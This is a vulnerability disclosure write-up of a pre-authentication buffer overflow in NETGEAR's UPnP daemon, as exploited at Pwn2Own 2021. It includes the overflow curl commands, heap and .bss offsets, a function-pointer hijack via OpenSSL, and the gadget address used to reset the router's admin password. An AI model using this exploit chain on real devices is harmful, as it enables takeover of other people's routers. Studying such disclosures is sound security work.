A remote pre-authentication buffer overflow vulnerability was identified in the Universal Plug and Play daemon (upnpd) shipped and enabled by default in multiple NETGEAR products. This vulnerability was used to successfully exploit a NETGEAR R6700v3 on the Local Area Network (LAN) side of the router during the Austin pwn2own competition in November 2021.


The following 22 models of NETGEAR devices are affected: D6220, D6400, D7000v2, EX3700, EX3800, EX6120, EX6130, R7100LG, R6400, R6400v2, R6700v3, R6900P, R7000, R7000P, R7850, R8000, R8500, RS400, WNDR3400v3, WNR3500Lv2, XR300, DC112A. More details can be found in both the NETGEAR advisory and the Zero Day Initiative advisory.


This blog post details both the vulnerability and exploitation technique as used during pwn2own against a vulnerable R6700v3 device. 


Introduction

To follow along with this report you can download the firmware image R6700v3-V1.0.4.120_10.0.91.zip from the Netgear website. The firmware image holds a Squashfs filesystem which can be extracted using binwalk by running the following commands:


unzip R6700v3-V1.0.4.120_10.0.91.zip
binwalk -e R6700v3-V1.0.4.120_10.0.91.chk


A folder “squashfs-root” will be created which contains the files described in this report.

To assist in the debugging of the exploit, we will copy a statically linked GDB server onto a USB memory stick which is inserted into the R6700v3 device. We can establish a telnet session to the target device using the telnetenable.py script and attach the GDB server to the target upnpd process, e.g.


# /tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1 --attach 192.168.1.1:4444 PID_OF_UPNPD


We can then connect to this remote GDB server from our development machine as follows:


$ gdb-multiarch ./squashfs-root/usr/sbin/upnpd
(gdb) target remote 192.168.1.1:4444


The Vulnerability

The /usr/sbin/upnpd binary will listen on TCP port 5000 for HTTP requests and TCP port 5555 for HTTPS requests. A POST request to the /soap/server_sa endpoint will be handled by the function at virtual address (VA) 0x0003C784. If this POST request contains a SOAPAction header with the value "urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate" the contents of the POST request, which is expected to be in XML format, will be parsed in an unsafe manor as show below.


request_soapaction = stristr(buffer, "SOAPAction:"); // ... v71 = stristr(request_soapaction + 11, "NewMACAddress"); if (v71 != 0) { v72 = stristr(request_soapaction + 11, "NewMACAddress xsi:type=\"xsd:string\">"); if (v72 == 0) { begin = v71 + 14; } else { begin = v71 + 36; } strncpy(&GLOBAL_NewMACAddress, "", 19); end = stristr(request_soapaction + 11, "</NewMACAddress>"); if (end != 0) { strncpy(&GLOBAL_NewMACAddress, "", 19); strncpy(&GLOBAL_NewMACAddress, begin, end - begin); GLOBAL_NewMACAddress[end - begin] = 0; log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress); }

We can see from the above code highlighted in yellow, that if a NewMACAddress XML tag is found, a call to strncpy will be performed to copy the contents of the NewMACAddress value to a static buffer. The logic of the call to strncpy is wrong, as the length value supplied to strncpy is the length of the attacker supplied source string and not the length of the destination static buffer, which is only 20 bytes. Therefore, if an attacker supplies a NewMACAddress value greater than 20 bytes they can overflow the static buffer and write attacker-controlled data into adjacent memory. Examining the location of the variable GLOBAL_NewMACAddress, highlighted in yellow below, we can see this variable is held in the upnpd binaries .bss section. Therefore, we can overwrite adjacent variables in the .bss section as well as the memory adjacent to the .bss section if it is mapped into the address space as writable.


.bss:0x000DB00C GLOBAL_NewMACAddress:
.bss:0x000DB00C db 20 dup(??)
.bss:0x000DB020 data_0xDB020:
.bss:0x000DB020 db 4 dup(??)
.bss:0x000DB024 GLOBAL_new_http_passwd:
.bss:0x000DB024 db 132 dup(??)
.bss:0x000DB0A8 data_0xDB0A8:
.bss:0x000DB0A8 db 20 dup(??)
.bss:0x000DB0BC data_0xDB0BC:
.bss:0x000DB0BC db 20 dup(??)
.bss:0x000DB0D0 data_0xDB0D0:
.bss:0x000DB0D0 db 2048 dup(??)
.bss:0x000DB8D0 data_0xDB8D0:
.bss:0x000DB8D0 db 4 dup(??)
.bss:0x000DB8D4 data_0xDB8D4:
.bss:0x000DB8D4 db 4 dup(??)
.bss:0x000DB8D8 data_0xDB8D8:
.bss:0x000DB8D8 db 20 dup(??)

Of note is the adjacent variable GLOBAL_new_http_passwd, highlighted in pink above. We will leverage this during exploitation.


Exploitation

The R6700v3 device is running a Linux kernel version 2.6.36.4 on ARM. The kernel is configured with randomize_va_space = 1, which randomizes the processes stack and shared libraries but not the main binary or the process heap. The upnpd binary is not built as a position independent executable (PIE). This results in the .bss section being at a fixed address in memory and directly adjacent to the .bss section is the process heap which services allocations from calls to malloc.


The strategy for exploitation will be as follows.


1. Leverage the overflow to target a function pointer in heap memory and overwrite the function pointer with an attacker-controlled value.


2. Leverage the overflow a second time to overflow a variable in the .bss section that holds the value of a password which will be set to the nvram http_passwd entry.


3. Force the upnpd service to call the overflowed function pointer and redirect the flow of execution to a sequence of instructions that will set the nvram http_passwd.


4. With the http_passwd set to an attacker-controlled value, we can log into the admin portal and take full control of the device.


Program Counter Control

As the process heap is directly adjacent to the upnpd image in memory and the heap will not be randomized, we can make some assumptions regarding the layout of the heap. We can rely on many of the early allocations serviced by malloc as having the same address in the processes address space. These allocations occur before the upnpd accepts external network traffic and as such will always be performed in the same order. Of interest to us is how the upnp binary initializes the OpenSSL library (Version 1.0.2h). The upnpd main() function will call a function at VA 0x00025034 to initialize SSL and this will perform a call to SSL_load_error_strings(). This call will perform many heap allocations to generate a hash map of strings that will later be used for generating human readable error strings. A core data structure in this is the _LHASH struct which contains a function pointer “hash” as highlighted in red below.


typedef struct lhash_st { LHASH_NODE** b; LHASH_COMP_FN_TYPE comp; LHASH_HASH_FN_TYPE hash; unsigned int num_nodes; unsigned int num_alloc_nodes; unsigned int p; unsigned int pmax; unsigned long up_load; /* load times 256 */ unsigned long down_load; /* load times 256 */ unsigned long num_items; unsigned long num_expands; unsigned long num_expand_reallocs; unsigned long num_contracts; unsigned long num_contract_reallocs; unsigned long num_hash_calls; unsigned long num_comp_calls; unsigned long num_insert; unsigned long num_replace; unsigned long num_delete; unsigned long num_no_delete; unsigned long num_retrieve; unsigned long num_retrieve_miss; unsigned long num_hash_comps; int error; } _LHASH;


With some debugging we can discover a _LHASH structure will always be allocated in the heap at a fixed offset of 7500 from the start of the upnpd binaries GLOBAL_NewMACAddress variable in the .bss section. We can therefor leverage the overflow to reliably overwrite this hash function pointer. The next challenge is to discover how we trigger a call to the overwritten function pointer, if we review the OpenSSL source we can see ERR_print_errors_fp will call ERR_print_errors_cb, which will call ERR_error_string_n, which will call ERR_lib_error_string, which will call int_err_get_item, which will call lh_ERR_STRING_DATA_retrieve, which is a macro for lh_retrieve, which calls getrn, which (finally!) calls the hash function pointer from a _LHASH structure on the heap.


// .\openssl-1.0.2h\crypto\err\err_prn.c void ERR_print_errors_fp(FILE* fp) { ERR_print_errors_cb(print_fp, fp); }
void ERR_print_errors_cb(int (*cb) (const char* str, size_t len, void* u), void* u) { unsigned long l; char buf[256]; char buf2[4096]; const char* file, * data; int line, flags; unsigned long es; CRYPTO_THREADID cur; CRYPTO_THREADID_current(&cur); es = CRYPTO_THREADID_hash(&cur); while ((l = ERR_get_error_line_data(&file, &line, &data, &flags)) != 0) { ERR_error_string_n(l, buf, sizeof buf); BIO_snprintf(buf2, sizeof(buf2), "%lu:%s:%s:%d:%s\n", es, buf, file, line, (flags & ERR_TXT_STRING) ? data : ""); if (cb(buf2, strlen(buf2), u) <= 0) break; /* abort outputting the error report */ } }
//\openssl - 1.0.2h\crypto\err\err.c void ERR_error_string_n(unsigned long e, char* buf, size_t len) { char lsbuf[64], fsbuf[64], rsbuf[64]; const char* ls, * fs, * rs; unsigned long l, f, r; l = ERR_GET_LIB(e); f = ERR_GET_FUNC(e); r = ERR_GET_REASON(e); ls = ERR_lib_error_string(e); // ... }
const char* ERR_lib_error_string(unsigned long e) { ERR_STRING_DATA d, * p; unsigned long l; err_fns_check(); l = ERR_GET_LIB(e); d.error = ERR_PACK(l, 0, 0); p = ERRFN(err_get_item) (&d);// int_err_get_item return ((p == NULL) ? NULL : p->string); }
static ERR_STRING_DATA * int_err_get_item(const ERR_STRING_DATA * d) { ERR_STRING_DATA* p; LHASH_OF(ERR_STRING_DATA)* hash; err_fns_check(); hash = ERRFN(err_get) (0); if (!hash) return NULL; CRYPTO_r_lock(CRYPTO_LOCK_ERR); p = lh_ERR_STRING_DATA_retrieve(hash, d); CRYPTO_r_unlock(CRYPTO_LOCK_ERR); return p; }
#define lh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst) #define LHM_lh_retrieve(type, lh, inst) \ ((type *)lh_retrieve(CHECKED_LHASH_OF(type, lh), \ CHECKED_PTR_OF(type, inst)))
// .\openssl-1.0.2h\crypto\lhash\lhash.c:241 void* lh_retrieve(_LHASH * lh, const void* data) { unsigned long hash; LHASH_NODE** rn; void* ret; lh->error = 0; rn = getrn(lh, data, &hash); if (*rn == NULL) { lh->num_retrieve_miss++; return (NULL); } else { ret = (*rn)->data; lh->num_retrieve++; } return (ret); } // .\openssl-1.0.2h\crypto\lhash\lhash.c:390 static LHASH_NODE** getrn(_LHASH* lh, const void* data, unsigned long* rhash) { LHASH_NODE** ret, * n1; unsigned long hash, nn; LHASH_COMP_FN_TYPE cf; hash = (*(lh->hash))(data);


With a path to triggering the overwritten hash function pointer, we can see from the upnpd binary that a call to ERR_print_errors_fp exists in upnpd!upnp_main when a HTTPS connection to port 5555 fails to establish the TLS/SSL handshake from the client during SSL_accept.


// upnpd!func_0x1B630+0x400 log(2, "%s(%d): port=%d\r\n", "upnp_main", 1083, 5555); client_socket = accept(data_0x66B24 + 0x8, &local_0x50, &local_0x30); if (client_socket < 0) { log(2, "\r\n%s(%d)Port %d socket accesp failed!!\r\n", "upnp_main", 1087, 5555); // ... } else { ssl = SSL_new(data_0x9090C); data_0x90910 = ssl; SSL_set_fd(ssl, client_socket); log(2, "%s(%d)before ssl accept, acceptfd is %d \n", "upnp_main", 1093, client_socket); res = SSL_accept(data_0x90910); SSL_get_error(data_0x90910, res); if (res == 0 || res < 0) { ERR_print_errors_fp(__bss_start__);


We can therefore perform an invalid HTTPS connection to TCP port 5555 after we perform the overflow to gain control of the processes program counter (PC) register. To demonstrate this, we can issue the following two curl commands, the first to perform the overflow and the second to trigger a call to the overwritten function pointer and gain PC control.


curl http://192.168.1.1:5000/soap/server_sa -X POST -H "SOAPAction: \"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\"" --data "<NewMACAddress>$(printf 'A%.0s' {1..7500})BBBBCCCCDDDD</NewMACAddress>"

curl http://192.168.1.1:5555/


If we have GDB attached, we can see the following, the four D characters from the overflow are highlighted in yellow.


Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) i r
r0     0xbed5ca78 3201682040
r1     0xbed5ca78 3201682040
r2     0x0        0
r3     0x44444444 1145324612
r4     0x40312e58 1076964952
r5     0xdcd58    904536
r6     0x6b0c     27404
r7     0xbed5ca78 3201682040
r8     0xbed5ca78 3201682040
r9     0x100      256
r10    0xbed5dcb8 3201686712
r11    0x402811a0 1076367776
r12    0x0        0
sp     0xbed5ca40 0xbed5ca40
lr     0x4027c74c 1076348748
pc     0x44444444 0x44444444
cpsr   0x60000010 1610612752
(gdb) x/8x $r5
0xdcd58: 0x42424242 0x43434343 0x44444444 0x00000500
0xdcd68: 0x00000800 0x00000137 0x00000400 0x00000200
(gdb) bt
#0 0x44444444 in ?? ()
#1 0x4027c74c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/8i 0x4027c74c-0x20
0x4027c72c: mov r2, #0
0x4027c730: push {r3, r4, r5, r6, r7, r8, r10, lr}
0x4027c734: mov r5, r0
0x4027c738: ldr r3, [r0, #8]
0x4027c73c: mov r8, r1
0x4027c740: str r2, [r0, #92] ; 0x5c
0x4027c744: mov r0, r1
0x4027c748: blx r3


If we investigate the address in the back trace which transfers control to our attacker-controlled value, via a “blx r3” instruction, we can verify this originates from /lib/libcrypto.so.1.0.0!lh_retrieve (The compiler must have chosen to inline getrn).


Target Function Gadget

Now we can control the flow of execution we must choose what to do with this. As the GLOBAL_NewMACAddress variable we overflow is adjacent to a variable (Which we will call GLOBAL_new_http_passwd) used to change the password of the http admin, we will investigate this further. We can see below in yellow, that upnpd!func_0x289C8+0x10 will use the GLOBAL_new_http_passwd variable to set the http_passwd in the routers nvram configuration via a call to acosNvramConfig_set.


// upnpd!func_0x289C8+0x10 if (p1 < 7) { if (p1 == 1) { acosNvramConfig_get("http_passwd"); log(3, "old (%s), http (%s)\n", &data_0xDA318, __s2); v1 = strcmp(&data_0xDA318, __s2); if (v1 != 0) { log(3, "%s:%d\n", "sa_updateAdminPassword", 8832); return 20001; } log(3, "%s:%d\n", "sa_updateAdminPassword", 8829); acosNvramConfig_set("http_passwd", &GLOBAL_new_http_passwd); return 0; }


We can examine the disassembly of the call which begins at VA 0x00028A74. The two parameters are set in the registers r0 and r1 before a call to acosNvramConfig_set is performed.


 .text:0x00028A74 4C019FE5    ldr r0, [data_0x28BC8] ; "http_passwd"
 .text:0x00028A78 5C119FE5    ldr r1, [data_0x28BDC] ; GLOBAL_new_http_passwd
 .text:0x00028A7C CB8AFFEB    bl acosNvramConfig_set

 

If we use the overflow vulnerability to overwrite the target _LHASH::hash function pointer with a value of 0x00028A74 (upnpd is not built with PIE so this address is fixed) and then use the overflow vulnerability a second time to overwrite the value of GLOBAL_new_http_passwd with a password value of the attackers choosing, we can redirect the flow of execution to change the password by performing an invalid HTTP connection to TCP port 5555. We can rely on the vulnerable function at upnpd!func_0x3C784 to null terminate the GLOBAL_NewMACAddress variable during the overflow which allows us to write a value that contains a null byte. (We can note that the 0x00028A74 address we want to write contains a null byte and on a little endian device this will be the null terminator charachter that is written).


Setting the http_passwd to an attacker controlled value allows us to log into the routers web interface. At this point we have full control of the device, and can leverage telnetenable.py to gain a root shell if required.